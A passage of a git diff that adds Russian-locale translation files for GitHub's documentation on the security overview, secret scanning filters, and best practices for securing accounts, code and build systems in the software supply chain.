alerts](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#about-the-detection-of-calls-to-vulnerable-functions)."| +{% endif %} + +{% endif %} + +## Additional filters for {% data variables.product.prodname_secret_scanning %} alert views + +| Qualifier | Description | +| -------- | -------- | +|`provider:PROVIDER_NAME` | Displays alerts for all secrets issues by the specified provider. | +| `secret-type:SERVICE_PROVIDER` | Displays alerts for the specified secret and provider. | +| `secret-type:CUSTOM-PATTERN` | Displays alerts for secrets matching the specified custom pattern. | + +For more information, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)." + diff --git a/translations/ru-RU/content/code-security/security-overview/index.md b/translations/ru-RU/content/code-security/security-overview/index.md new file mode 100644 index 000000000000..6072e5e6b0f3 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-overview/index.md @@ -0,0 +1,19 @@ +--- +title: Viewing security alerts for repositories in your organization +shortTitle: Security overview +intro: 'View, sort, and filter the security alerts from across your organization in one place.' +product: '{% data reusables.gated-features.security-overview %}' +versions: + fpt: '*' + ghae: '*' + ghes: '*' + ghec: '*' +topics: + - Security overview + - Advanced Security +children: + - /about-the-security-overview + - /viewing-the-security-overview + - /filtering-alerts-in-the-security-overview +--- + diff --git a/translations/ru-RU/content/code-security/security-overview/viewing-the-security-overview.md b/translations/ru-RU/content/code-security/security-overview/viewing-the-security-overview.md new file mode 100644 index 000000000000..3d861d97946c --- /dev/null +++ b/translations/ru-RU/content/code-security/security-overview/viewing-the-security-overview.md @@ -0,0 +1,72 @@ +--- +title: Viewing the security overview +intro: Navigate to the different views available in the security overview +permissions: '{% data reusables.security-overview.permissions %}' +product: '{% data reusables.gated-features.security-overview %}' +allowTitleToDifferFromFilename: true +versions: + ghae: '>= 3.4' + ghes: '*' + ghec: '*' +type: how_to +topics: + - Security overview + - Advanced Security + - Alerts + - Organizations + - Teams +shortTitle: View the security overview +--- + +{% ifversion ghes < 3.5 or ghae %} +{% data reusables.security-overview.beta %} +{% endif %} + +{% data reusables.security-overview.information-varies-GHAS %} + +## Viewing the security overview for an organization + +{% data reusables.security-overview.beta-org-risk-coverage %} + +{% ifversion security-overview-org-risk-coverage %} +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.security-overview %} +1. Choose the overview you want to display from the options in the sidebar. +1. Use the drop-down filters and search box to focus on the information of greatest interest. The "Security Risk" and "Security Coverage" views also have an interactive header that you can use to filter results. + + ![Screenshot of the Security Risk view with interactive header highlighted](/assets/images/help/security-overview/security-risk-interactive-header.png) + +{% else %} + +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.security-overview %} +1. To view aggregate information about alert types, click **Show more**. + ![Show more button](/assets/images/help/security-overview/security-overview-show-more-button.png) +{% data reusables.organizations.filter-security-overview %} +{% ifversion security-overview-alert-views %} +{% data reusables.organizations.security-overview-feature-specific-page %} + ![Screenshot of the code scanning-specific page](/assets/images/help/security-overview/security-overview-code-scanning-alerts.png) +{% endif %} + +{% endif %} + +{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} +## Viewing the security overview for an enterprise + +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} +1. In the left sidebar, click {% octicon "shield" aria-label="The shield icon" %} **Code Security**. +{% ifversion security-overview-feature-specific-alert-page %} +{% data reusables.organizations.security-overview-feature-specific-page %} +{% endif %} + +{% endif %} + +{% ifversion ghes < 3.7 or ghae < 3.7 %} +## Viewing the security overview for a team + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.specific_team %} +{% data reusables.organizations.team-security-overview %} +{% data reusables.organizations.filter-security-overview %} +{% endif %} \ No newline at end of file diff --git a/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview.md b/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview.md new file mode 100644 index 000000000000..5568fa0ba705 --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview.md @@ -0,0 +1,46 @@ +--- +title: Защита сквозной цепочки поставок +shortTitle: Overview +allowTitleToDifferFromFilename: true +intro: 'Рекомендации по обеспечению полной безопасности сквозной цепочки поставок, включая личные учетные записи, код и процессы сборки.' +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Organizations + - Teams + - Dependencies + - Advanced Security +ms.openlocfilehash: 44eb2f8fa24d172cc1ad5f988bbbda3a192797a3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060685' +--- +## Что такое сквозная цепочка поставок? + +Защиты сквозной цепочки поставок программного обеспечения заключается в том, чтобы не допустить вмешательства в распространяемый код. Раньше злоумышленники концентрировались на применяемых пользователями зависимостях, таких как библиотеки и платформы. Теперь они расширили сферу внимания и начали воздействовать на учетные записи пользователей и процессы сборки, а значит эти системы тоже нужно защищать. + +Сведения о функциях в {% data variables.product.prodname_dotcom %}, которые могут помочь вам в защите зависимостей, см. в разделе [Защита цепочки поставок](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security). + +## Об этих руководствах + +В этой серии руководств рассказывается, как защищать сквозную цепочку поставок — личную учетную запись, код и процессы сборки. В каждом руководстве рассматривается существующий в этой области риск и функции {% data variables.product.product_name %}, которые помогут его смягчить. + +Поскольку задачи могут быть разными, каждое руководство начинается с наиболее важного изменения, после чего обсуждаются дополнительные возможное доработки. Необязательно использовать все — сосредоточьтесь на тех улучшениях, которые, по вашему мнению, принесут максимальную пользу. Главная цель состоит не в том, чтобы сделать все сразу, а в том, чтобы постоянно укреплять защиту ваших систем с течением времени. + +- [Рекомендации по защите учетных записей](/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts) + +- [Рекомендации по защите кода в цепочке поставок](/code-security/supply-chain-security/end-to-end-supply-chain/securing-code) + +- [Рекомендации по обеспечению безопасности системы сборки](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds) + +## Дополнительные материалы + +- [Защита целостности артефактов в любой цепочке поставок программного обеспечения](https://slsa.dev/) +- [Модель обеспечения целостности цепочки поставок Майкрософт](https://github.com/microsoft/scim) +- [Документ по защите цепочки поставок программного обеспечения — группа технических рекомендаций по безопасности CNCF](https://github.com/cncf/tag-security/blob/main/supply-chain-security/supply-chain-security-paper/CNCF_SSCP_v1.pdf) diff --git a/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/index.md b/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/index.md new file mode 100644 index 000000000000..0f60da6da402 --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/index.md @@ -0,0 +1,27 @@ +--- +title: Сквозная цепочка поставок +intro: 'Что важно учесть для защиты учетных записей пользователей, кода и процесса сборки' +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Security overview + - Organizations + - Teams + - Dependencies + - Advanced Security +children: + - /end-to-end-supply-chain-overview + - /securing-accounts + - /securing-code + - /securing-builds +ms.openlocfilehash: 9affbe141c8a0cd739293b49e1fa742b8bc2a162 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065621' +--- + diff --git a/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md b/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md new file mode 100644 index 000000000000..d16b7365023c --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md @@ -0,0 +1,137 @@ +--- +title: Best practices for securing accounts +shortTitle: Securing accounts +allowTitleToDifferFromFilename: true +intro: Guidance on how to protect accounts with access to your software supply chain. +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Organizations + - Teams + - SSH + - Security + - Accounts +--- +## About this guide + +This guide describes the highest impact changes you can make to increase account security. Each section outlines a change you can make to your processes to improve the security. The highest impact changes are listed first. + +## What's the risk? + +Account security is fundamental to the security of your supply chain. If an attacker can take over your account on {% data variables.product.product_name %}, they can then make malicious changes to your code or build process. So your first goal should be to make it difficult for someone to take over your account and the accounts of other {% ifversion ghes %}users{% else %}members{% endif %} of {% ifversion fpt %}your organization{% elsif ghec or ghae %}your organization or enterprise{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. + +{% ifversion ghec or ghes %} +## Centralize authentication +{% endif %} + +{% ifversion ghec %} +If you're an enterprise or organization owner, you can configure centralized authentication with SAML. While you can add or remove members manually, it's simpler and more secure to set up single sign-on (SSO) and SCIM between {% data variables.product.product_name %} and your SAML identity provider (IdP). This also simplifies the authentication process for all members of your enterprise. + +You can configure SAML authentication for an enterprise or organization account. With SAML, you can grant access to the personal accounts of members of your enterprise or organization on {% data variables.location.product_location %} through your IdP, or you can create and control the accounts that belong to your enterprise by using {% data variables.product.prodname_emus %}. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)." + +After you configure SAML authentication, when members request access to your resources, they'll be directed to your SSO flow to ensure they are still recognized by your IdP. If they are unrecognized, their request is declined. + +Some IdPs support a protocol called SCIM, which can automatically provision or deprovision access on {% data variables.product.product_name %} when you make changes on your IdP. With SCIM, you can simplify administration as your team grows, and you can quickly revoke access to accounts. SCIM is available for individual organizations on {% data variables.product.product_name %}, or for enterprises that use {% data variables.product.prodname_emus %}. For more information, see "[About SCIM for organizations](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)." +{% endif %} + +{% ifversion ghes %} +If you're the site administrator for {% data variables.location.product_location %}, you can simplify the login experience for users by choosing an authentication method that connects with your existing identity provider (IdP), like CAS, SAML, or LDAP. This means that they no longer need to remember an extra password for {% data variables.product.prodname_dotcom %}. + +Some authentication methods also support communicating additional information to {% data variables.product.product_name %}, for example, what groups the user is a member of, or synchronizing cryptographic keys for the user. This is a great way to simplify your administration as your organization grows. + +For more information about the authentication methods available for {% data variables.product.product_name %}, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)." +{% endif %} + +## Configure two-factor authentication + +The best way to improve the security of {% ifversion fpt %}your personal account{% elsif ghes %}your personal account or {% data variables.location.product_location %}{% elsif ghec %}your accounts{% elsif ghae %}your enterprise on {% data variables.product.product_name %}{% endif %} is to configure two-factor authentication (2FA){% ifversion ghae %} on your SAML identity provider (IdP){% endif %}. Passwords by themselves can be compromised by being guessable, by being reused on another site that's been compromised, or by social engineering, like phishing. 2FA makes it much more difficult for your accounts to be compromised, even if an attacker has your password. + +{% ifversion not ghae %} + +{% ifversion ghec %} +If you're an enterprise owner, you may be able to configure a policy to require 2FA for all organizations owned by your enterprise. +{% endif %} + +{% ifversion ghes %} +If you're the site administrator for {% data variables.location.product_location %}, you may be able to configure 2FA for all users of your instance. The availability of 2FA on {% data variables.product.product_name %} depends on the authentication method that you use. For more information, see "[Centralize user authentication](#centralize-user-authentication)." +{% endif %} + +If you're an organization owner, then you {% ifversion fpt %}can{% else %}may be able to{% endif %} require that all members of the organization enable 2FA. + +{% ifversion ghec or ghes %} + +### Configure your enterprise account + +Enterprise owners may be able to require 2FA for all {% ifversion ghes %}users on{% elsif ghec %}members of{% endif %} the {% ifversion ghes %}instance{% elsif ghec %}enterprise{% endif %}. The availability of 2FA policies on {% data variables.product.product_name %} depends on how {% ifversion ghes %}users{% else %}members{% endif %} authenticate to access your {% ifversion ghes %}instance{% elsif ghec %}enterprise's resources{% endif %}. + +{% ifversion ghes %} +- If you sign into {% data variables.location.product_location %} through an external IdP using CAS or SAML SSO, you +{% elsif ghec %} +If your enterprise uses {% data variables.product.prodname_emus %} or SAML authentication is enforced for your enterprise, you +{%- endif %} cannot configure 2FA on {% data variables.product.product_name %}. Someone with administrative access to your IdP must configure 2FA for the IdP. + +{% ifversion ghes %} + +- If you sign into {% data variables.location.product_location %} through an external LDAP directory, you can require 2FA for your enterprise on {% data variables.product.product_name %}. If you allow built-in authentication for users outside of your directory, individual users can enable 2FA, but you cannot require 2FA for your enterprise. + +{% endif %} + +For more information, see {% ifversion ghec %}"[About identity and access management for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)" and {% endif %}"[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#requiring-two-factor-authentication-for-organizations-in-your-enterprise)." + +{% endif %} + +### Configure your personal account + +{% ifversion ghec or ghes %} +{% note %} + +**Note**: Depending on the authentication method that {% ifversion ghec %}an enterprise owner{% elsif ghes %}a site administrator{% endif %} has configured for {% ifversion ghec %}your enterprise on {% endif %}{% data variables.location.product_location %}, you may not be able to enable 2FA for your personal account. + +{% endnote %} +{% endif %} + +{% data variables.product.product_name %} supports several options for 2FA, and while any of them is better than nothing, the most secure option is WebAuthn. WebAuthn requires either a hardware security key or a device that supports it through things like Windows Hello or Mac TouchID. It's possible, although difficult, to phish other forms of 2FA (for example, someone asking you to read them your 6 digit one-time password). However WebAuthn isn't phishable, because domain scoping is built into the protocol, which prevents credentials from a website impersonating a login page from being used on {% data variables.product.product_name %}. + +When you set up 2FA, you should always download the recovery codes and set up more than one factor. This ensures that access to your account doesn't depend on a single device. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)," "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods)," and [GitHub Branded hardware security keys](https://thegithubshop.com/products/github-branded-yubikey) in the GitHub shop. + +### Configure your organization account + +{% ifversion ghec or ghes %} +{% note %} + +**Note**: Depending on the authentication method that {% ifversion ghec %}an enterprise owner{% elsif ghes %}a site administrator{% endif %} has configured for {% ifversion ghec %}your enterprise on {% endif %}{% data variables.location.product_location %}, you may not be able to require 2FA for your organization. + +{% endnote %} +{% endif %} + +If you're an organization owner, you can see which users don't have 2FA enabled, help them get set up, and then require 2FA for your organization. To guide you through that process, see: + +1. "[Viewing whether users in your organization have 2FA enabled](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled)" +2. "[Preparing to require two-factor authentication in your organization](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization)" +3. "[Requiring two-factor authentication in your organization](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization)" + +{% endif %} + +## Connect to {% data variables.product.product_name %} using SSH keys + +There are other ways to interact with {% data variables.product.product_name %} beyond signing into the website{% ifversion ghae %} via your IdP{% endif %}. Many people authorize the code they push to {% data variables.product.prodname_dotcom %} with an SSH private key. For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)." + +Just like {% ifversion ghae %}the password for your IdP account{% else %}your account password{% endif %}, if an attacker were able to get your SSH private key, they could impersonate you and push malicious code to any repository you have write access for. If you store your SSH private key on a disk drive, it's a good idea to protect it with a passphrase. For more information, see "[Working with SSH key passphrases](/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases)." + +Another option is to generate SSH keys on a hardware security key. You could use the same key you're using for 2FA. Hardware security keys are very difficult to compromise remotely, because the private SSH key remains on the hardware, and is not directly accessible from software. For more information, see "[Generating a new SSH key for a hardware security key](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)." + +{% ifversion ghec or ghes or ghae %} +Hardware-backed SSH keys are quite secure, but the hardware requirement might not work for some organizations. An alternative approach is to use SSH keys that are only valid for a short period of time, so even if the private key is compromised it can't be exploited for very long. This is the concept behind running your own SSH certificate authority. While this approach gives you a lot of control over how users authenticate, it also comes with the responsibility of maintaining an SSH certificate authority yourself. For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)." +{% endif %} + +## Next steps + +- "[Securing your end-to-end supply chain](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview)" + +- "[Best practices for securing code in your supply chain](/code-security/supply-chain-security/end-to-end-supply-chain/securing-code)" + +- "[Best practices for securing your build system](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds)" diff --git a/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds.md b/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds.md new file mode 100644 index 000000000000..8430bead12bb --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds.md @@ -0,0 +1,68 @@ +--- +title: Рекомендации по обеспечению безопасности системы сборки +shortTitle: Securing builds +allowTitleToDifferFromFilename: true +intro: "Руководство по защите конечного этапа цепочки поставок\_— систем, используемых для создания и распространения артефактов." +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Fundamentals + - Security + - CI + - CD +ms.openlocfilehash: f184bb668ba1594a77099fab734686b9c550c238 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147518859' +--- +## Об этом руководстве + +В этом руководстве описываются самые важные изменения, которые можно внести для улучшения защиты вашей системы сборки. В каждом разделе описаны изменения, которые можно внести в процессы для повышения безопасности. Сначала указаны изменения с самым высоким влиянием. + +## В чем заключаются риски? + +Некоторые атаки на цепочки поставок программного обеспечения направлены непосредственно на систему сборки. Если злоумышленник сможет изменить процесс сборки, то сможет использовать систему, не прилагая никаких усилий для взлома личных учетных записей или кода. Важно, чтобы вы не забывали защитить систему сборки, как и личные учетные записи и код. + +## Защита системы сборки + +Существует несколько возможностей обеспечения безопасности, которые должна иметь система сборки. + +1. Шаги сборки должны быть понятными и воспроизводимыми. + +2. Вы должны точно знать, что выполнялось во время процесса сборки. + +3. Каждая сборка должна начинаться в новой среде, чтобы взломанная сборка не сохранялась и не могла повлиять на будущие сборки. + +{% data variables.product.prodname_actions %} помогает реализовать эти возможности. Инструкции по сборке хранятся в репозитории вместе с кодом. Вы выбираете среду, в которой выполняется сборка, включая Windows, Mac, Linux или средства выполнения, размещенные вами. Каждая сборка начинается с нового образа средства выполнения тестов, что затрудняет сохранение атаки в вашей среде сборки. + +Помимо преимуществ безопасности, {% data variables.product.prodname_actions %} позволяет запускать сборки вручную, периодически или в ответ на события Git в репозитории для частых и быстрых сборок. + +{% data variables.product.prodname_actions %} — это обширная тема, но рекомендуется начинать с разделов [Основные сведения о GitHub Actions](/actions/learn-github-actions/understanding-github-actions), [Выбор средств выполнения, размещенных в GitHub](/actions/using-workflows/workflow-syntax-for-github-actions#choosing-github-hosted-runners) и [Активация рабочего процесса](/actions/using-workflows/triggering-a-workflow). + +## Подписывание сборок + +После того как процесс сборки будет защищен, вам следует предотвратить незаконное изменение конечного результата процесса сборки. Подписывание ваших сборок — отличный способ сделать это. При публичном распространении программного обеспечения это часто делается с помощью пары открытого и закрытого криптографических ключей. Вы используете закрытый ключ для подписи сборки и публикуете открытый ключ, чтобы пользователи программного обеспечения могли проверить подпись в сборке до его использования. Если байты сборки изменятся, подпись не пройдет проверку. + +Как именно вы подписываете сборку, зависит от того, какой код вы пишете, и от того, кто ваши пользователи. Часто сложно понять, как безопасно хранить закрытый ключ. Одним из основных вариантов здесь является использование зашифрованных секретов {% data variables.product.prodname_actions %}, хотя необходимо соблюдать осторожность и внимательно ограничивать доступ к этим рабочим процессам {% data variables.product.prodname_actions %}. {% ifversion fpt or ghec %} Если закрытый ключ хранится в другой системе, доступной через Интернет (такой как Microsoft Azure или HashiCorp Vault), можно использовать более сложный вариант — проверку подлинности с помощью OpenID Connect, чтобы не передавать секреты в системах.{% endif %} Если закрытый ключ доступен только из частной сети, можно также использовать локальные средства выполнения для {% data variables.product.prodname_actions %}. + +Дополнительные сведения см. в разделах [Зашифрованные секреты](/actions/security-guides/encrypted-secrets){% ifversion fpt or ghec %}, [Сведения об усилении защиты с помощью OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect){% endif %} и [Сведения о локальных средствах выполнения](/actions/hosting-your-own-runners/about-self-hosted-runners). + +## Усиление защиты для {% data variables.product.prodname_actions %} + +Существует много дополнительных действий, которые можно предпринять для дополнительной защиты {% data variables.product.prodname_actions %}. В частности, будьте осторожны при оценке сторонних рабочих процессов и рассмотрите возможность использования `CODEOWNERS`, чтобы ограничить пользователей, которые могут вносить изменения в рабочие процессы. + +Дополнительные сведения см. в разделе [Усиление защиты для GitHub Actions](/actions/security-guides/security-hardening-for-github-actions), особенно в подразделах [Использование сторонних действий](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions) и [Использование `CODEOWNERS` для отслеживания изменений](/actions/security-guides/security-hardening-for-github-actions#using-codeowners-to-monitor-changes). + +## Дальнейшие действия + +- [Защита сквозной цепочки поставок](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview) + +- [Рекомендации по защите учетных записей](/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts) + +- [Рекомендации по защите кода в цепочке поставок](/code-security/supply-chain-security/end-to-end-supply-chain/securing-code) diff --git a/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md b/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md new file mode 100644 index 000000000000..28d368418fd4 --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md @@ -0,0 +1,118 @@ +--- +title: Best practices for securing code in your supply chain +shortTitle: Securing code +allowTitleToDifferFromFilename: true +intro: Guidance on how to protect the center of your supply chain—the code you write and the code you depend on. +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Dependabot + - Security updates + - Vulnerabilities + - Advanced Security + - Secret scanning +--- + +## About this guide + +This guide describes the highest impact changes you can make to improve the security of your code. Each section outlines a change you can make to your processes to improve security. The highest impact changes are listed first. + +## What's the risk? + +Key risks in the development process include: + +- Using dependencies with security vulnerabilities that an attacker could exploit. +- Leaking authentication credentials or a token that an attacker could use to access your resources. +- Introducing a vulnerability to your own code that an attacker could exploit. + +These risks open your resources and projects to attack and those risks are passed directly on to anyone who uses a package that you create. The following sections explain how you can protect yourself and your users from these risks. + +## Create a vulnerability management program for dependencies + +You can secure the code you depend on by creating a vulnerability management program for dependencies. At a high level this should include processes to ensure that you: + +1. Create an inventory of your dependencies. + +2. Know when there is a security vulnerability in a dependency. + +3. Assess the impact of that vulnerability on your code and decide what action to take. + +### Automatic inventory generation + +As a first step, you want to make a complete inventory of your dependencies. The dependency graph for a repository shows you dependencies for supported ecosystems. If you check in your dependencies, or use other ecosystems, you will need to supplement this with data from 3rd party tools or by listing dependencies manually. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." + +### Automatic detection of vulnerabilities in dependencies + +{% data variables.product.prodname_dependabot %} can help you by monitoring your dependencies and notifying you when they contain a known vulnerability. {% ifversion fpt or ghec or ghes %}You can even enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests that update the dependency to a secure version.{% endif %} For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)"{% ifversion fpt or ghec or ghes %} and "[About Dependabot security updates](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)"{% endif %}. + +### Assessment of exposure to risk from a vulnerable dependency + +When you discover you are using a vulnerable dependency, for example, a library or a framework, you must assess your project's level of exposure and determine what action to take. Vulnerabilities are usually reported with a severity score to show how severe their impact could be. The severity score is a useful guide but cannot tell you the full impact of the vulnerability on your code. + +To assess the impact of a vulnerability on your code, you also need to consider how you use the library and determine how much risk that actually poses to your system. Maybe the vulnerability is part of a feature that you don't use, and you can update the affected library and continue with your normal release cycle. Or maybe your code is badly exposed to risk, and you need to update the affected library and ship an updated build right away. This decision depends on how you're using the library in your system, and is a decision that only you have the knowledge to make. + +## Secure your communication tokens + +Code often needs to communicate with other systems over a network, and requires secrets (like a password, or an API key) to authenticate. Your system needs access to those secrets to run, but it's best practice to not include them in your source code. This is especially important for repositories to which many people might have access{% ifversion not ghae %} and critical for public repositories{% endif %}. + +### Automatic detection of secrets committed to a repository + +{% note %} + +**Note:** {% data reusables.gated-features.secret-scanning-partner %} + +{% endnote %} + +{% data reusables.secret-scanning.enterprise-enable-secret-scanning %} + +{% ifversion fpt or ghec %} +{% data variables.product.prodname_dotcom %} partners with many providers to automatically detect when secrets are committed to or stored in your public repositories, and will notify the provider so they can take appropriate actions to ensure your account remains secure. For more information, see "[About {% data variables.product.prodname_secret_scanning %} for partner patterns](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-partner-patterns)." +{% endif %} + +{% ifversion fpt %} +{% data reusables.secret-scanning.fpt-GHAS-scans %} +{% elsif ghec %} +If your organization uses {% data variables.product.prodname_GH_advanced_security %}, you can enable {% data variables.product.prodname_secret_scanning_GHAS %} on any repository owned by the organization. You can also define custom patterns to detect additional secrets at the repository, organization, or enterprise level. For more information, see "[About {% data variables.product.prodname_secret_scanning_GHAS %}](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-advacned-security)." +{% else %} +You can configure {% data variables.product.prodname_secret_scanning %} to check for secrets issued by many service providers and to notify you when any are detected. You can also define custom patterns to detect additional secrets at the repository, organization, or enterprise level. For more information, see "[About secret scanning](/code-security/secret-scanning/about-secret-scanning)" and "[Secret scanning patterns](/code-security/secret-scanning/secret-scanning-patterns)." +{% endif %} + +### Secure storage of secrets you use in {% data variables.product.product_name %} + +{% ifversion fpt or ghec %} +Besides your code, you probably need to use secrets in other places. For example, to allow {% data variables.product.prodname_actions %} workflows, {% data variables.product.prodname_dependabot %}, or your {% data variables.product.prodname_github_codespaces %} development environment to communicate with other systems. For more information on how to securely store and use secrets, see "[Encrypted secrets in Actions](/actions/security-guides/encrypted-secrets)," "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)," and "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)." +{% endif %} + +{% ifversion ghes or ghae %} +Besides your code, you probably need to use secrets in other places. For example, to allow {% data variables.product.prodname_actions %} workflows{% ifversion ghes %} or {% data variables.product.prodname_dependabot %}{% endif %} to communicate with other systems. For more information on how to securely store and use secrets, see "[Encrypted secrets in Actions](/actions/security-guides/encrypted-secrets){% ifversion ghes %}" and "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)."{% else %}."{% endif %} +{% endif %} + +## Keep vulnerable coding patterns out of your repository + +{% note %} + +**Note:** {% data reusables.gated-features.code-scanning %} + +{% endnote %} + +{% data reusables.code-scanning.enterprise-enable-code-scanning %} + +### Create a pull request review process + +You can improve the quality and security of your code by ensuring that all pull requests are reviewed and tested before they are merged. {% data variables.product.prodname_dotcom %} has many features you can use to control the review and merge process. To get started, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)." + +### Scan your code for vulnerable patterns + +Insecure code patterns are often difficult for reviewers to spot unaided. In addition to scanning your code for secrets, you can check it for patterns that are associated with security vulnerabilities. For example, a function that isn't memory-safe, or failing to escaping user input that could lead to an injection vulnerability. {% data variables.product.prodname_dotcom %} offers several different ways to approach both how and when you scan your code. To get started, see "[About code scanning](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)." + +## Next steps + +- "[Securing your end-to-end supply chain](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview)" + +- "[Best practices for securing accounts](/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts)" + +- "[Best practices for securing your build system](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds)" diff --git a/translations/ru-RU/content/code-security/supply-chain-security/index.md b/translations/ru-RU/content/code-security/supply-chain-security/index.md new file mode 100644 index 000000000000..583d082d3f7f --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/index.md @@ -0,0 +1,27 @@ +--- +title: Защита цепочки поставки программного обеспечения +shortTitle: Supply chain security +intro: 'Визуализация, обслуживание и защита зависимостей в цепочке поставок программного обеспечения.' +redirect_from: + - /categories/managing-security-vulnerabilities + - /github/managing-security-vulnerabilities +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Dependabot + - Dependencies + - Repositories +children: + - /understanding-your-software-supply-chain + - /end-to-end-supply-chain +ms.openlocfilehash: bb0b22132fc705d457b017f901dd797df9ac1d61 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087675' +--- + diff --git a/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md new 